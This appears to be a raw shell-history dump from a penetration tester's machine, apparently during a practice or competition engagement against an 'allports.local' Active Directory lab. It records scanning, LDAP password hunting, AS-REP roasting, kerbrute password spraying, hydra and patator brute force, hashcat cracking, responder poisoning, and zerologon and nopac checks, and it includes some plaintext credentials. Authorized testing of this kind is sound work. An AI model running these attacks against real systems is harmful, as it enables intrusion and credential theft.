sudo apt-get update && apt-get -y full-upgrade\
sudo apt-get install gvm && openvas\
```


_raw: : 1761380976:0;./bruteforce.sh /usr/share/wordlists/rockyou.txt 1


_raw: : 1761380954:0;cat hosts.txt| jaeles scan -c 100  -s 'fuzz/.*'


_raw: : 1761380949:0;cat hosts.txt| jaeles scan -c 100 -s -s 'fuzz/.*'


_raw: : 1761380886:0;cat hosts.txt| jaeles scan -c 100


_raw:
: 1761380859:0;curl -kL -H "Host: registry.allports.local" https://10.0.1.14/v2/_catalog\
curl -kL -H "Host: registry.prod.allports.local" https://10.0.1.14/v2/_catalog\
curl -kL -H "Host: harbor.allports.local" https://10.0.1.14/\
curl -kL -H "Host: docker.allports.local" https://10.0.1.14/v2/_catalog


_raw: : 1761380857:0;cat hosts.txt| jaeles scan -c 100


_raw: : 1761380854:0;cat hosts.txt| jaeles scan -c 100 -s


_raw: : 1761380770:0;ldapsearch -H ldap://10.0.1.6 -Y GSSAPI -b "dc=allports,dc=local" "(objectClass=user)" sAMAccount


_raw: : 1761380751:0;ldapsearch -H ldap://ForestDnsZones.allports.local -Y GSSAPI -b "dc=allports,dc=local" "(objectClass=user)" sAMAccount


_raw: : 1761380745:0;jaeles config -a reload --signDir /tmp/jaeles-signatures


_raw: : 1761380719:0;ldapsearch -H ldap://allports.local -Y GSSAPI -b "dc=allports,dc=local" "(objectClass=user)" sAMAccount


_raw: : 1761380678:0;cp ~/go/bin/jaeles /usr/local/bin


_raw:
: 1761380624:0;# Enumerate LDAP for content containing "pwd|password"\
ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local"


_raw:
: 1761380622:0;# Enumerate LDAP for content containing "pwd|password"\
ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" |


_raw:
: 1761380611:0;patator http_fuzz url="http://10.0.1.11:8081" method=GET \\
auth_type=basic auth_user=icemen auth_pass=FILE0 0=/usr/share/wordlists/rockyou.txt \ --max-retries=2 --success="status:200" -x ignore:fgrep='401' \\
--log=patator.log


_raw:
: 1761380603:0;# Enumerate LDAP for content containing "pwd|password"\
ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" | grep -ie "pwd\|password"


_raw:
: 1761380585:0;# Enumerate LDAP for content containing "pwd|password"\
ldapsearch -x -H ldap://10.10.10.10 -b "dc=allports,dc=local" | grep -ie "pwd\|password"


_raw:
: 1761380566:0;patator http_fuzz url="http://10.0.1.11:8081" method=GET \\
auth_type=basic auth_user=icemen auth_pass=FILE0 0=/usr/share/wordlists/rockyou.txt \\
--sleep=1 --max-retries=2 --success="status:200" -x ignore:fgrep='401' \\
--log=patator.log


_raw:
cd Des
cd Desktop
clear
nano hosts.txt
cat hosts.txt
ping 10.0.1.1
nmap -sV -sC -T4 10.0.1.1
clear
cat hosts.txt
nmap -sV -sC -T4 10.0.1.6
nano 10.0.1.6_nmap.txt
clear
cat 10.0.1.6_nmap.txt
nano /etc/hosts
sudo nano /etc/hosts
smbclient -L //10.0.1.6/ -N
crackmapexec
clear
crackmapexec smb 10.0.1.6 -u '' -p \\
crackmapexec smb 10.0.1.6 -u '' -p ''
crackmapexec smb 10.0.1.6 -u '' -p '' --shares
enum4linux -a 10.0.1.6
nuclei
nuclei -u http://10.0.1.11/login
nuclei -u http://10.0.1.11/
nuclei -u 10.0.1.21
clear
cat 10.0.1.99_nmap.txt
nano enum.txt
searchsploit MySQL 8.0.43
cat 10.0.1.99_nmap.txt
cat 10.0.1.21_nmap.txt
cat * | grep "mysql"
cat 10.0.1.10_nmap.txt
cat 10.0.1.20_nmap.txt
cat 10.0.1.99_nmap.txt
cat /etc/host
cat /etc/hosts
cat hosts.txt
clear
cat /etc/hosts
cat 10.0.1.6_nmap.txt
sudo nano /etc/hosts
cat ../password.txt
sudo nano /etc/hosts
caten
cat enum.txt
clear
ls
cat 10.0.1.21_nmap.txt
cat 10.0.1.10_nmap.txt
cat 10.0.1.14_nmap.txt
cat 10.0.1.20_nmap.txt
cat 10.0.1.21_nmap.txt
cat 10.0.1.30_nmap.txt
cat 10.0.1.10_nmap.txt
clear
dirb http://10.0.1.14:5001/
dirb http://10.0.1.14:5001/ -f
clear
cat hosts.txt
nmap -sV -sC -T4 10.0.1.11 -p- > 10.0.1.11_nmap.txt
cat 10.0.1.11_nmap.txt
mousepad 10.0.1.11_nmap.txt
cat users.txt
curl -X POST http://10.0.1.11:7700/keys
clear
ls
./kerbrute_linux_amd64
./kerbrute_linux_amd64 userenum users.txt --dc APT-DC-01.allports.local -d allports.local
nano users.txt
./kerbrute_linux_amd64 userenum users.txt --dc APT-DC-01.allports.local -d allports.local
nano users.txt
./kerbrute_linux_amd64 userenum users.txt --dc APT-DC-01.allports.local -d allports.local
clear
cat hosts.txt
./kerbrute_linux_amd64 --help
clear
cat 10.0.1.99_nmap.txt
cat 10.0.1.11_nmap.txt
clear
cat 10.0.1.10_nmap.txt
clear
nmap -sV -sC -T4 10.0.1.10 -p- > 10.0.1.10_nmap.txt
mousepad 10.0.1.10_nmap.txt
nc 10.0.1.10 6768


_raw: : 1761380502:0;ldapsearch -x -H ldap://10.0.1.6 -s base | grep name


_raw: : 1761380495:0;ldapsearch -x -H ldap://10.0.1.6 -s base | grepname


_raw: : 1761380486:0;ldapsearch -x -H ldap://10.0.1.6 -s base | grep domain


_raw: : 1761380476:0;ldapsearch -x -H ldap://10.0.1.6 -s base | grep defaultNamingContext


_raw: : 1761380474:0;ldapsearch -x -H ldap://10.0.1.6 -s base | grep defaultNamingContext\


_raw: : 1761380422:0;nmap -sSVC -iL scope.txt -oN last4.txt -vv


_raw: : 1761380362:0;crackmapexec smb 10.0.1.6 -u guest -p '' --continue-on-success


_raw: : 1761380359:0;nxc smb APT-DC-01 -u 'rosa.davis' -p 'rosdav60' -k


_raw: : 1761380355:0;nxc smb APT-DC-01 -u 'rosa.davis\' -p 'rosdav60' -k


_raw: : 1761380354:0;crackmapexec smb 10.0.1.6 -u deckhand-02 -p 'deckhand-02' --continue-on-success\


_raw:
: 1761380344:0;impacket-GetNPUsers allports.local/guest -no-pass -dc-ip 10.0.1.6\
impacket-GetNPUsers allports.local/deckhand-02 -no-pass -dc-ip 10.0.1.6


_raw: : 1761380336:0;nxc smb APT-DC-01 -u 'users.txt' -p 'rosdav60'  -k


_raw: : 1761380328:0;ldapsearch -x -H ldap://10.0.1.6 -s base | grep defaultNamingContext


_raw: : 1761380298:0;ldapsearch -x -H ldap://10.0.1.11 -s base | grep defaultNamingContext


_raw:
sqlmap -u https://10.0.1.15
sqlmap -u http://10.0.1.15
sqlmap -u 10.0.1.15 --batch
sqlmap -u 10.0.1.15/login --batch
sqlmap -h


_raw:
xfreerdp3 /u:12345 /p:12345 /v:10.0.1.21:3389
xfreerdp3 /u:123456 /p:12345 /v:10.0.1.21:3389
xfreerdp3 /u:123456 /p:12345 /v:10.0.1.21
msfconsole
nmap -sC -sV -p- 10.0.1.99
nmap -sC -sV -p- 10.0.1.254
sudo mysql -e "SELECT User,Host,plugin FROM mysql.user;"
xfreerdp3 /u:pentester /p:Path-Update-Switch-Patch-488  /v:10.0.1.21
mysql -h 10.0.1.99 -P 3306 -u admin -p admin\
mysql -h 10.0.1.99 -P 3306
mysql -h 10.0.1.99 -P 3306 -u admin
mysql -h 10.0.1.99 -P 3306 -u admin -p admin\
mysql -h
msfconsole


_raw: : 1761380254:0;dig prod.allports.local ANY


_raw: : 1761380252:0;dig prod.allports.local ANT


_raw: : 1761380248:0;impacket-GetUsersSPNs -dc-ip 10.0.1.6 -no-pass allports.local/guest


_raw:
: 1761380228:0;impacket-GetNPUsers allports.local/administrator -no-pass -dc-ip 10.0.1.6\
impacket-GetNPUsers allports.local/guest -no-pass -dc-ip 10.0.1.6\
impacket-GetNPUsers allports.local/deckhand-02 -no-pass -dc-ip 10.0.1.6


_raw:
: 1761380147:0;crackmapexec smb 10.0.1.6 -u deckhand-02 -p 'Deckhand2025!' --continue-on-success\
crackmapexec smb 10.0.1.6 -u deckhand-02 -p 'allports' --continue-on-success\
crackmapexec smb 10.0.1.6 -u deckhand-02 -p 'Password123' --continue-on-success


_raw: : 1761380123:0;nxc smb APT-DC-01 -u 'users.txt' -p 'rosdav60'  -k


_raw:
: 1761380117:0;for user in administrator admin guest deckhand-02 APT-DC-01; do\
  echo "[*] Testing $user..."\
  impacket-GetNPUsers allports.local/$user -no-pass -dc-ip 10.0.1.6\
done


_raw: : 1761380090:0;go install github.com/jaeles-project/jaeles@latest


_raw: : 1761379970:0;./kerbrute userenum -d allports.local --dc 10.0.1.6 ad_users.txt


_raw:
: 1761379962:0;cat > ad_users.txt <<EOF\
administrator\
admin\
guest\
krbtgt\
root\
svc_backup\
svc_sql\
backup\
test\
user\
apt\
deckhand\
dc\
ldap\
dns\
winrm\
rdp\
helpdesk\
operator\
monitor\
service\
svc\
sql\
mssql\
web\
www\
dev\
ops\
ftp\
git\
jenkins\
tomcat\
apache\
nginx\
postgres\
mysql\
oracle\
allports\
aptadmin\
deckhand01\
deckhand-02\
APT-DC-01\
EOF


_raw: : 1761379881:0;nc penny.allports.local 3080


_raw:
: 1761379872:0;# Clone and build kerbrute\
git clone https://github.com/ropnop/kerbrute.git\
cd kerbrute\
go build .\
sudo cp kerbrute /usr/local/bin/


_raw: : 1761379872:0;hydra -l icemen -P /usr/share/wordlists/rockyou.txt 10.0.1.11:8081 http-get / -t 1 -f -V\


_raw: : 1761379761:0;impacket-GetNPUsers allports.local/username -no-pass -dc-ip 10.0.1.6


_raw: : 1761379747:0;kerbrute userenum -d allports.local --dc 10.0.1.6 /usr/share/seclists/Usernames/Names/names.txt


_raw:
cat /etc/hosts
ls
cp /usr/share/seclists/Passwords/corporate_passwords.txt .
ks
vim corporate_passwords.txt
netexec ldap APT-DC-01.allports.local -u '' -p '' -h
netexec ldap APT-DC-01.allports.local -u '' -p '' -k --users
netexec ldap 10.0.1.6 -u '' -p '' -d allports.local -k --users
netexec ldap 10.0.1.6 -u '' -p '' -d allports.local -k --port 3268
netexec ldap 10.0.1.6 -u '' -p '' -d allports.local
netexec ldap 10.0.1.6 -u '' -p '' -d allports.local  --users
netexec ldap 10.0.1.6 -u '' -p '' -d allports.local  --users --port 3268
netexec ldap 10.0.1.6 -u '' -p '' -d allports.local  --users --port 389
netexec ldap 10.0.1.6 -u 'a' -p '' -d allports.local  --users --port
netexec ldap 10.0.1.6 -u 'a' -p '' -d allports.local  --users --port 3268
netexec ldap 10.0.1.6 -u 'a' -p '' -d allports.local  --users --port 389
netexec ldap APT-DC-01.allports.local   -u 'a' -p '' -d allports.local  --users --port 389
netexec ldap APT-DC-01.allports.local   -u 'a' -p '' -d allports.local  -L
netexec ldap APT-DC-01.allports.local   -u 'a' -p '' -d allports.local  -M adcs
netexec ldap APT-DC-01.allports.local   -u '' -p '' -d allports.local  -M adcs
netexec ldap APT-DC-01.allports.local   -u '' -p '' -d allports.local  -M laps
netexec smb APT-DC-01.allports.local   -u '' -p '' -d allports.local  -M
netexec smb APT-DC-01.allports.local   -u '' -p '' -d allports.local
netexec smb APT-DC-01.allports.local   -u '' -p '' -d allports.local  -L
netexec smb APT-DC-01.allports.local   -u '' -p '' -d allports.local  -mM gpp_autologin
netexec smb APT-DC-01.allports.local   -u '' -p '' -d allports.local  -M gpp_autologin
netexec smb APT-DC-01.allports.local   -u '' -p '' -d allports.local  -M ioxidresolver
netexec smb APT-DC-01.allports.local   -u '' -p '' -d allports.local  -M nopac
netexec smb APT-DC-01.allports.local   -u '' -p '' -d allports.local  -M zerologon
netexec smb APT-DC-01.allports.local   -u '' -p '' -d allports.local  -L
netexec smb APT-DC-01.allports.local   -u '' -p '' -d allports.local  -M spooler
netexec smb APT-DC-01.allports.local   -u 'Guest' -p '' -d allports.local  -M spooler
netexec smb APT-DC-01.allports.local   -u 'Guest' -p '' -d allports.local
netexec ldap APT-DC-01.allports.local   -u '' -p '' -d
netexec ldap APT-DC-01.allports.local   -u '' -p '' --active_users
netexec ldap APT-DC-01.allports.local   -u '' -p '' --active-users
ls
nano cptc


_raw: : 1761379713:0;go install github.com/ropnop/kerbrute@latest\


_raw: : 1761379701:0;ldapsearch -x -b "dc=allports,dc=local" -H ldap://10.0.1.6


_raw: : 1761379692:0;nxc smb APT-DC-01 -u 'users.txt' -p 'rosdav60'


_raw: : 1761379680:0;ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local"


_raw: : 1761379627:0;searchsploit Microsoft Windows Active Directory LDAP


_raw: : 1761379569:0;mysql --help | grep ignore


_raw: : 1761379486:0;crackmapexec smb 10.0.1.6  -u '' -p '' --shares --groups --users


_raw: : 1761379472:0;crackmapexec smb 10.0.1.6  -u '' -p '' --shares --groups --users


_raw: : 1761379462:0;GetNPUsers.py allports.local/ -dc-ip allports.local -usersfile users.txt -format hashcat -outputfile hashes.txt


_raw: : 1761379456:0;GetNPUsers.py allports.local/ -dc-ip allports.local -userfile users.txt -format hashcat -outputfile hashes.txt


_raw: : 1761379448:0;GetNPUsers.py allports.local/ -dc-ip allports.local -usernames users.txt -format hashcat -outputfile hashes.txt


_raw: : 1761379428:0;nxc smb APT-DC-01 -u 'users.txt' -p 'users.txt'


_raw: : 1761379427:0;crackmapexec smb 10.0.1.6  -u '' -p '' --shares --groups --users


_raw:
: 1761379387:0;dig prod.allports.local ANY\
dig prod.allports.local AXFR\
host -l prod.allports.local


_raw:
nmap -sV --script "ldap-rootdse,smb-os-discovery,smb-enum-shares,smb-enum-users,rdp-enum-encryption,ssl-cert" -oN 10.0.1.6
nmap -sV --script "ldap-rootdse,smb-os-discovery,smb-enum-shares,smb-enum-users,rdp-enum-encryption,ssl-cert" 10.0.1.6
smbclient -L //10.0.1.6 -N
enum4linux -a 10.0.1.6
\
\


_raw: : 1761379070:0;nxc smb APT-DC-01 -u 'lpeterson' -p 'lpeterson'


_raw:
ifconfig
ip a
ip route show
ss -tulpen
nmap -sS -sV -O -p- 10.0.1.0/24
sudo apt update
sudo apt upgrade
nmap -sS -sV -O -p- 10.0.1.0/24
nmap -A T4 prod.allports.local
nmap -A T4 google.com
nmap -sS -sV -O -p- 10.0.1.0/24
netdiscover -r 10.0.1.99
sudo netdiscover -r 10.0.1.99
sudo nikto -h 10.0.1.99
sudo nikto -h 10.0.1.30
nikto -h 10.0.1.30
nikto -h 10.0.1.21
nikto -h 10.0.1.20
nikto -h 10.0.1.15
nikto -h 10.0.1.11
nmap -sS -sV -O -p- 10.0.1.11
sudo masscan 10.0.1.99 -p- -rate=1000 -oG outputs/recon/masscan_grepable.txt
nmap -sS -sV -O -p- 10.0.1.90
nmap -sS -sV -O -p- 10.0.1.99
nmap -sS -sV -O -p 22,80,,443,3306,8080 -oA outputs/nmap/ 10.0.1.99_service_scan 10.0.1.99
git clone https://github.com/yogeshojha/reNgine.git
cd reNgine
10.0.1.99_Test
cd..
exit


_raw:
cat /etc/hosts
cat  cr
cat password.txt
cat ho
cat /etc
cat /etc/hosts
cat password.txt
curl https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64 -o kerbrute
curl 'https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64' -o kerbrute
ls
ls -la
rm kerbrute
mv ~/Downloads/kerbrute_linux_amd64 ./kerbrute
chmod +x kerbrute
./kerbrute
nano users.txt
./kerbrute userenum
./kerbrute userenum  users.txt -d allports.local
./kerbrute userenum  users.txt -d allports.local --dc APT-DC-01.allports.local
./kerbrute  -d allports.local --dc APT-DC-01.allports.local
./kerbrute bruteuser -d allports.local --dc APT-DC-01.allports.local
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
./kerbrute bruteuser -d allports.local --dc APT-DC-01.allports.local /usr/share/wordlists/rockyou.txt bfinn
./kerbrute userenum  users.txt -d allports.local --dc APT-DC-01.allports.local
netexec smb 10.0.1.0/24 -u '' -p ''
netexec ssh 10.0.1.0/24 -u '' -p ''
netexec ssh 10.0.1.0/24 -u 'root' -p ''
./kerbrute userenum users.txt -d allports.local
./kerbrute userenum users.txt -d allports.local -h
./kerbrute userenum users.txt -d allports.local --dc APT-DC-01.allports.local
./kerbrute userenum /usr/share/seclists/Usernames/Names/names.txt -d allports.local --dc APT-DC-01.allports.local --safe
./kerbrute userenum /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -d allports.local --dc APT-DC-01.allports.local --safe
./kerbrute userenum /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -d allports.local --dc APT-DC-01.allports.local --safe -h
./kerbrute userenum /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -d allports.local --dc APT-DC-01.allports.local --safe -h -o possible-user.txt
./kerbrute userenum /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -d allports.local --dc APT-DC-01.allports.local --safe -o possible-users.txt
ls
cat possible-users.txt
cat possible-users.txt | awk {print $3}
cat possible-users.txt | awk '{print $3}'
cat possible-users.txt | awk '{print $2}'
cat possible-users.txt | awk '{print $4}'
cat possible-users.txt | awk '{print $1}'
ls
cat possible-users.txt
cat possible-users.txt | awk '{print $6}'
cat possible-users.txt | awk '{print $7}'
cat possible-users.txt | awk '{print $7}' > possible-users2.txt
vim possible-users2.txt
ls
./kerbrute
./kerbrute passwordspray
./kerbrute passwordspray --user-as-pass possible-users2.txt -d allports.local --dc APT-DC-01.allports.local
./kerbrute passwordspray --user-as-pass possible-users2.txt -d allports.local --dc APT-DC-01.allports.local --safe 'Password123!'
./kerbrute passwordspray --user-as-pass possible-users2.txt -d allports.local --dc APT-DC-01.allports.local --safe 'Password123!' -v
nano possible-users
nano possible-users2.txt
./kerbrute passwordspray --user-as-pass possible-users2.txt -d allports.local --dc APT-DC-01.allports.local --safe 'Password123!' -v
git clone https://github.com/bayfinn/Minecraft-Transit-Railway
git clone
git clone https://github.com/bayfinn/allports.tours
ls
cd Minecraft-Transit-Railway
ls
git log -p
s
cd ..ls
cd ..
ls
cd allports.tours
git log -p


_raw: : 1761378735:0;sudo responder -I eth0 -A -w -F --lm --disable-ess -v


_raw:
: 1761378373:0;curl -s -X POST "http://10.0.1.15:8080/api/navigation.php?action=update_position" \\
  -H "Content-Type: application/json" \\
  -d '{}' \\
  | jq .\


_raw:
: 1761378363:0;curl -s -X POST "http://10.0.1.15:8080/api/navigation.php?action=update_position" \\
  -H "Content-Type: application/json" \\
  -d '{}' \\
  | jq .\


_raw: : 1761378362:0;nmap -p 80,443 --script=http-headers,http-title,http-methods,http-enum,http-php-version,http-aspnet-debug,http-wordpress-enum,http-drupal-enum 10.0.1.15 10.0.1.14 10.0.1.11 10.0.1.10


_raw: : 1761378275:0;echo | openssl s_client -connect 10.0.1.99:443 -servername 10.0.1.99 2>/dev/null | openssl x509 -noout -text | sed -n '1,120p'\


_raw: : 1761378211:0;curl -H "Host: test.rooms.allports.tours" http://10.0.1.99/api/


_raw: : 1761378152:0;nmap -p 80,443 --script=http-headers,http-title,http-methods,http-enum,http-php-version,http-aspnet-debug,http-wordpress-enum,http-drupal-enum 10.0.1.15 10.0.1.14 10.0.1.11 10.0.1.10


_raw: : 1761378144:0;ffuf -u http://10.0.1.15:8090/FUZZ.FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e /usr/share/seclists/Fuzzing/extensions-most-common.fuzz.txt


_raw: : 1761378076:0;impacket-GetNPUsers allports.local/ -dc-ip 10.0.1.6 -usersfile /usr/share/seclists/Usernames/top-usernames-shortlist.txt


_raw: : 1761378073:0;nmap -p 80,443 --script=http-headers,http-title,http-methods,http-enum,http-php-version,http-aspnet-debug,http-wordpress-enum,http-drupal-enum 10.0.1.6


_raw: : 1761378070:0;ffuf -u http://10.0.1.15:8090/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt


_raw: : 1761378054:0;ffuf -u 10.0.1.15:8090 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt


_raw: : 1761378048:0;ffuf -u http://10.0.1.15:8090 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt


_raw: : 1761378039:0;ffuf -u http://10.0.1.15:8090/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt


_raw: : 1761378031:0;ffuf -u http://10.0.1.15:8090/robots.txt -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt


_raw: : 1761377869:0;nmap -p 53 --script=dns-zone-transfer,dns-nsid,dns-service-discovery,dns-recursion,dns-cache-snoop,dns-random-srcport 10.0.1.6


_raw: : 1761377824:0;pipx install     pip install setuptools


_raw: : 1761377797:0;sudo apt install rustscan


_raw: : 1761377599:0;gobuster dir -u "http://10.0.1.15:8080/api/" -w /usr/share/wordlists/dirb/common.txt -x php,txt,json -t 10\


_raw: : 1761377568:0;curl -H "Host: test.rooms.allports.tours" http://10.0.1.99/\


_raw: : 1761377475:0;curl -H "Host: test.rooms.allports.tours" http://10.0.1.99/api/


_raw: : 1761377414:0;sudo responder -I eth0 -A -w -F --lm --disable-ess -v\


_raw: : 1761377390:0;nmap -sS -p- -T2 --min-rate 50 -sV --version-all --script "http-title,http-methods,http-enum,ssl-cert" 10.0.1.15


_raw: : 1761377358:0;nmap -sS -p- -T2 --min-rate 50 -sV --version-all --script "http-title,http-methods,http-enum,ssl-cert" 10.0.0.15


_raw: : 1761377347:0;nmap -sS -p- -T2 --min-rate 50 -sV --version-all --script "http-title,http-methods,http-enum,ssl-cert"


_raw: : 1761377318:0;curl -H "Host: test.rooms.allports.tours" http://10.0.1.99/


_raw:
bash <(curl -s https://docs.sysreptor.com/install.sh)
su
exit
bash <(curl -s https://docs.sysreptor.com/install.sh)
cat /etc/gr
cat /etc/group
sudo usermod -aG docker $USER  # Add the current user to the Docker group
newgrp
exit


_raw: : 1761377303:0;docker rm -f sysreptor-app sysreptor-db && docker volume rm -f sysreptor-app-data sysreptor-db-data


_raw: : 1761377301:0;ocker rm -f sysreptor-app sysreptor-db && docker volume rm -f sysreptor-app-data sysreptor-db-data


_raw: : 1761377265:0;bash <(curl -s https://docs.sysreptor.com/install.sh)


_raw: : 1761377198:0;bash <(curl -s https://docs.sysreptor.com/install.sh)


_raw: : 1761377184:0;nuclei -l hosts.txt -s info,medium,high,critical -rl 100 -c 15


_raw: : 1761377150:0;gobuster dir -w directory-list-1.0.txt -u https://10.0.1.14


_raw: : 1761377030:0;cat nmaphttpV.txt | grep -e "open" >> test.txt


_raw: : 1761377024:0;bash <(curl -s https://docs.sysreptor.com/install.sh)


_raw: : 1761377010:0;gobuster dir -w /usr/share/wordlists/dirbuster/directories.jbrofuzz -u https://10.0.1.14/ -k


_raw: : 1761377007:0;sudo systemctl status docker


_raw: : 1761377001:0;cat nmaphttpV.txt | grep -e "open" -o openhttp.txt


_raw: : 1761376995:0;sudo apt --fix-broken install


_raw: : 1761376981:0;more /usr/share/wordlists/dirbuster/directories.jbrofuzz | grep login


_raw: : 1761376977:0;cat nmaphttpV.txt | grep -e "open"


_raw: : 1761376954:0;sudo apt --fix-broken install


_raw: : 1761376937:0;sudo dpkg --remove --force-remove-reinstreq docker-desktop


_raw: : 1761376910:0;apt remove docker-desktop


_raw: : 1761376886:0;apt -fix-broken --isntall


_raw: : 1761376758:0;sudo apt install ./docker-buildx-plugin_0.29.1-1\~debian.11\~bullseye_amd64.deb


_raw: : 1761376747:0;sudo apt install docker-buildx


_raw: : 1761376703:0;sudo apt install ./docker-buildx-plugin_0.29.1-1\~debian.11\~bullseye_amd64.deb


_raw: : 1761376680:0;sublist3r -d allports.tours\


_raw: : 1761376680:0;sudo apt install ./docker-buildx-plugin_0.29.1-1\~debian.11\~bullseye_amd64.deb


_raw: : 1761376658:0;sudo apt install ./docker-ce_28.5.1-1\~debian.11\~bullseye_amd64.deb


_raw: : 1761376647:0;sudo apt install ./docker-ce-cli_28.5.1-1\~debian.11\~bullseye_amd64.deb


_raw: : 1761376631:0;sudo apt install ./docker-ce_28.5.1-1\~debian.11\~bullseye_amd64.deb


_raw: : 1761376620:0;sudo apt install ./docker-ce-cli_28.5.1-1\~debian.11\~bullseye_amd64.deb


_raw: : 1761376598:0;sudo apt install ./containerd.io_1.7.28-1\~debian.11\~bullseye_amd64.deb


_raw: : 1761376569:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirb/common.txt -x php,html,json,txt -t 20\


_raw: : 1761376553:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirb/common.txt -x php,html,json,txt -t 40


_raw: : 1761376550:0;gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -u https://10.0.1.14/ -k


_raw: : 1761376538:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirb/common.txt -x php,html,json,txt -t 40 -w\


_raw: : 1761376520:0;cat nmap.txt | grep "http"


_raw: : 1761376515:0;cat nmap.txt | grep -e "http"


_raw: : 1761376510:0;cat nmap.txt | grep -e "http "


_raw: : 1761376485:0;cat nmap.txt | grep -e "http"


_raw: : 1761376458:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirb/common.txt


_raw: : 1761376451:0;GetNPUsers.py allports.local/ -dc-ip allports.local -format hashcat -outputfile hashes.txt\


_raw: : 1761376447:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirb/common.txt -x php,html,json,txt -t 40


_raw: : 1761376440:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirb/common.txt


_raw: : 1761376432:0;GetNPUsers.py test.local/ -dc-ip -format hashcat -outputfile hashes.txt\


_raw: : 1761376429:0;cat nmap.txt | grep -e "http"


_raw: : 1761376418:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirb/common.txt -x php,html,json,txt -t 40


_raw: : 1761376413:0;cat nmap.txt | grep -e "http"


_raw: : 1761376398:0;GetNPUsers.nxc ldap 10.10.0.1.0/24 -u '' -p '' --asreproast output.txt


_raw: : 1761376389:0;GetNPUsers.py nxc ldap 10.10.0.1.0/24 -u '' -p '' --asreproast output.txt


_raw: : 1761376343:0;python3 -m pipx install .


_raw: : 1761376294:0;gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -u https://10.0.1.14/


_raw: : 1761376220:0;gobuster dir -u http://10.0.1.11:80 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,js,css,jso


_raw: : 1761376214:0;gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.0.1.14/


_raw: : 1761376205:0;gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt http://10.0.1.14/


_raw: : 1761376200:0;sudo apt install ./docker-desktop-amd64.deb


_raw: : 1761376190:0;gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt 10.0.1.14


_raw: : 1761376186:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,js,css,jso


_raw: : 1761376180:0;gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt


_raw: : 1761376161:0;/tmp/hashcat-7.1.2/hashcat.bin  -a 0 -m 31300 /home/pentester/hashestime.txt /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt


_raw:
ssh admin@10.0.1.10 -p admin
ssh admin@10.0.1.1
ssh admin@10.0.1.10
ssh pentester@10.0.1.10


_raw:
hydra -l penteser -P /usr/share/wordlists/rockyou.txt
hydra -l penteser -P /usr/share/wordlists/rockyou.txt ssh://10.0.1.10
hydra -l pentester -P /usr/share/wordlists/rockyou.txt ssh://10.0.1.10


_raw:
nmap -sC -sV -p- 10.0.1.10
ssh --help
ssh 10.0.1.10
gunzip /usr/share/wordlists/rockyou.txt.gz
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
hydra -L /usr/share/wordlists/rockyou.txt -P /usr/share/wordlists/rockyou.txt
hydra -L /usr/share/wordlists/rockyou.txt -P /usr/share/wordlists/rockyou.txt 10.0.1.10
hydra -L /usr/share/wordlists/rockyou.txt -P /usr/share/wordlists/rockyou.txt ssh://10.0.1.10
sr/share/wordlists/rockyou.txt ssh://10.0.1.10
clear


_raw: : 1761376154:0;gobuster -w /usr/share/seclists/Discovery/Web-Content


_raw: : 1761376154:0;sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin


_raw: : 1761376143:0;./hashcat.bin  -a 0 -m 31300 /home/pentester/hashestime.txt /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt


_raw: : 1761376136:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,js,css,json,back,old,backup,tar,zip


_raw:
: 1761376131:0;# Add Docker's official GPG key:\
sudo apt-get update\
sudo apt-get install ca-certificates curl\
sudo install -m 0755 -d /etc/apt/keyrings\
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc\
sudo chmod a+r /etc/apt/keyrings/docker.asc\
\
# Add the repository to Apt sources:\
echo \\
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \\
  $(. /etc/os-release && echo "${UBUNTU_CODENAME:-$VERSION_CODENAME}") stable" | \\
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null\
sudo apt-get update


_raw: : 1761376102:0;sudo apt install seclists


_raw: : 1761376095:0;sudo apt install gnome-terminal


_raw: : 1761376046:0;./hashcat.bin  -a 0 -m 31300 /home/pentester/hashestime.txt /usr/share/wordlists/rockyou.txt


_raw:
sudo apt update
sudo apt install -y sed curl openssl uuid-runtime coreutils
curl -fsSL https://get.docker.com | sudo bash
sudo apt install -y docker.io
sudo systemctl enable docker --now
